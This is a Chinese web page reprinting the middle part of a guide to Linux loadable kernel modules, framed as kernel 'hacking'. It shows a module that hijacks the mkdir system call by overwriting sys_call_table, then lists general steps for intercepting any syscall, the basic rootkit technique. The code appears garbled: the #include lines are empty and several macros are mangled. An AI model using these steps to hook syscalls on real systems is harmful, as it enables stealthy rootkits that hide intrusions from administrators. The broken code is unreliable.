Linux系统可卸载内核模块完全指南(中)
热门问答:
推荐阅读
| · 修改面板来隐藏运营商文字和日期 |
| 摘要:用motokit来隐藏运营商文字和日期很简单,但那是在开通gprs给前提的,对于有些使用联通卡的朋友来说就有点麻烦,下面我就来介绍一下用修改面板的方法来隐藏运营商文字和日期,需要用到的软件是p2kcommander、motoskin、motokit,这里我只说说motoskin,另外两个软件的使用前面的宝典有详细说明。 首先把需要修改的面板下载到电脑,然后用mot...... |
| · 内容、应用、搜索、web2.0 谁领跑下一代门户 |
| 摘要: 门户是互联网的通道,也一直是顶级互联网公司争夺的中心,它同时引领了中国互联网公司的商业化浪潮。在很多人眼中,门户就是互联网。但近两年,传统的门户风光不再,非传统门户—下一代的门户正在崛起并取而代之。下一代门户的核心正是内容和应用的整合、搜索技术以及web2.0理念。而兼具以上特征的个人门户正是下一代门户的典型形态。 呼之欲出的下一代门户 自从去年百度成功上市后,中国互联网市场就一直暗潮涌动,颇不平静。...... |
正文
上期我们讲了《linux系统可卸载内核模块完全指南(上)》的内容,本期我们讲中间部份的内容。
第二部分 渐入佳境
2.1 如何截获系统调用
现在我们开始入侵lkm,在正常情况下lkms是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。
下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。
#define module
#define __kernel__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe 被引入,所以我们可以存取他*/
int (*orig_mkdir)(const char *path);
/*原始系统调用*/
int hacked_mkdir(const char *path)
{
return 0;
/*其他一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void)
/*初始化模块*/
{
orig_mkdir=sys_call_table[sys_mkdir];
sys_call_table[sys_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[sys_mkdir]=orig_mkdir;
/*恢复mkdir系统调用到原来的哪个*/
}
编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。
截获系统调用的通常步骤如下:
找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)
将你自己定义的新的函数指针存入sys_call_table[x]
你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个hack-lkm时你所面对的第一个问题是:
我到底该截获哪个系统调用?


讨论区